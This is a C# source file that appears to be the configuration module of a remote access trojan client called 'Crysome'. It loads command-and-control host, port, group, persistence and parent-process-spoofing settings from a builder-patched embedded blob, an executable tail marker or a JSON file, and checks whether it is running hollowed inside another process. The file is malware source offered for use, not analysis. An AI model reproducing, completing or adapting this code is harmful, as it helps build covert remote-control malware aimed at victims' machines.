using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Reflection; using System.Text; namespace Crysome.Client.Configuration; public static class ClientConfiguration { public static string Identifier = "Crysome-01"; public static string Host = "127.0.0.1"; public static int Port = 7777; public static string Group = ""; public static bool Persistence = false; public static string ParentSpoof = ""; public static HashSet EnabledFeatures = null; private const string EmbeddedMarker = "##CRYCFG##"; private const char PaddingChar = '\u0001'; internal static string EmbeddedConfig = "##CRYCFG##\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001"; private const string TailMarker = "##CRYCONFIG##"; private static bool? _isHollowed = null; public static bool IsHollowed { get { if (_isHollowed.HasValue) { return _isHollowed.Value; } try { string location = Assembly.GetExecutingAssembly().Location; if (string.IsNullOrEmpty(location)) { _isHollowed = true; return true; } string name = Assembly.GetExecutingAssembly().GetName().Name; bool flag = Path.GetFileNameWithoutExtension(location).Equals(name, StringComparison.OrdinalIgnoreCase); _isHollowed = !flag; return _isHollowed.Value; } catch { _isHollowed = true; return true; } } } public static string GetProcessPath() { if (!IsHollowed) { try { string location = Assembly.GetExecutingAssembly().Location; if (!string.IsNullOrEmpty(location) && File.Exists(location)) { return location; } } catch { } } try { string text = Process.GetCurrentProcess().MainModule?.FileName; if (!string.IsNullOrEmpty(text) && File.Exists(text)) { return text; } } catch { } try { string[] commandLineArgs = Environment.GetCommandLineArgs(); if (commandLineArgs != null && commandLineArgs.Length != 0 && !string.IsNullOrEmpty(commandLineArgs[0]) && File.Exists(commandLineArgs[0])) { return commandLineArgs[0]; } } catch { } return null; } public static void Init() { if (!TryLoadFromEmbedded() && !TryLoadFromExeTail()) { TryLoadFromJsonFile(); } } private static bool TryLoadFromEmbedded() { try { string embeddedConfig = EmbeddedConfig; if (string.IsNullOrEmpty(embeddedConfig) || !embeddedConfig.StartsWith("##CRYCFG##")) { return false; } string text = embeddedConfig.Substring("##CRYCFG##".Length).TrimEnd('\u0001', '\0'); if (string.IsNullOrWhiteSpace(text)) { return false; } Program.Log("Config found in embedded blob"); ParseJson(text); return true; } catch (Exception ex) { Program.Log("Embedded config error: " + ex.Message); return false; } } private static bool TryLoadFromExeTail() { if (IsHollowed) { return false; } try { string processPath = GetProcessPath(); if (string.IsNullOrEmpty(processPath) || !File.Exists(processPath)) { return false; } byte[] array = File.ReadAllBytes(processPath); string text = Encoding.UTF8.GetString(array, Math.Max(0, array.Length - 1024), Math.Min(1024, array.Length)); int num = text.IndexOf("##CRYCONFIG##", StringComparison.Ordinal); if (num < 0) { return false; } string json = text.Substring(num + "##CRYCONFIG##".Length); Program.Log("Config found in exe tail"); ParseJson(json); return true; } catch (Exception ex) { Program.Log("Exe tail config error: " + ex.Message); return false; } } private static void TryLoadFromJsonFile() { string processPath = GetProcessPath(); string text = null; try { text = Path.GetFileNameWithoutExtension(processPath); } catch { } string[] array = new string[3] { AppDomain.CurrentDomain.BaseDirectory, Path.GetDirectoryName(processPath), Environment.CurrentDirectory }; foreach (string text2 in array) { if (string.IsNullOrEmpty(text2)) { continue; } try { string text3 = Path.Combine(text2, "config.json"); if (File.Exists(text3)) { Program.Log("Loading config.json: " + text3); ParseJson(File.ReadAllText(text3)); return; } if (!string.IsNullOrEmpty(text)) { string text4 = Path.Combine(text2, text + ".config.json"); if (File.Exists(text4)) { Program.Log("Loading alt config: " + text4); ParseJson(File.ReadAllText(text4)); return; } } } catch (Exception ex) { Program.Log("Config json error: " + ex.Message); } } Program.Log("No config found, using defaults (127.0.0.1:7777)"); } private static void ParseJson(string json) { string text = Extract(json, "host"); string s = Extract(json, "port"); string text2 = Extract(json, "group"); string text3 = Extract(json, "persistence"); string text4 = Extract(json, "feat"); string text5 = Extract(json, "parent"); if (!string.IsNullOrEmpty(text)) { Host = text; } if (int.TryParse(s, out var result) && result > 0 && result <= 65535) { Port = result; } if (!string.IsNullOrEmpty(text2)) { Group = text2; } if (!string.IsNullOrEmpty(text3) && text3.ToLower() == "true") { Persistence = true; } if (!string.IsNullOrEmpty(text5)) { ParentSpoof = text5.Trim().ToLowerInvariant(); } if (!string.IsNullOrEmpty(text4)) { EnabledFeatures = new HashSet(StringComparer.OrdinalIgnoreCase); string[] array = text4.Split(new char[2] { ',', ';' }, StringSplitOptions.RemoveEmptyEntries); foreach (string text6 in array) { EnabledFeatures.Add(text6.Trim()); } } Program.Log("Config: Host=" + Host + " Port=" + Port + " Group=" + Group); } public static bool IsFeatureEnabled(string key) { if (EnabledFeatures == null) { return true; } return EnabledFeatures.Contains(key); } private static string Extract(string json, string key) { string value = "\"" + key + "\""; int num = json.IndexOf(value, StringComparison.OrdinalIgnoreCase); if (num < 0) { return null; } num = json.IndexOf(':', num); if (num < 0) { return null; } for (num++; num < json.Length && char.IsWhiteSpace(json[num]); num++) { } if (num >= json.Length) { return null; } if (json[num] == '"') { num++; int i = num; bool flag = false; for (; i < json.Length; i++) { if (json[i] == '\\') { flag = !flag; continue; } if (json[i] == '"' && !flag) { break; } flag = false; } return json.Substring(num, i - num); } int j; for (j = num; j < json.Length && json[j] != ',' && json[j] != '}' && !char.IsWhiteSpace(json[j]); j++) { } return json.Substring(num, j - num); } }